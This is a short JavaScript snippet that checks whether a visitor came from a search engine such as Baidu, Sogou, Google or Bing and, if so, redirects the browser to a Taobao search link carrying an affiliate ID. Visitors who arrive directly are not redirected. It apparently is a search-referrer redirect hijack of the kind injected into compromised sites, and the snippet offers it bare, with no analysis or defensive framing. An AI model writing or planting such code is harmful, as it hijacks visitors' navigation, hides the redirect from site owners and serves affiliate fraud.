var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href='http://s8.taobao.com/search?q=%B0%AC%C0%B3%D2%C0&cat=0&pid=mm_28230065_0_0&mode=23&commend=1%2C2&other_filter=tk_rate%5B400%2C2000%5D&fs=1'
}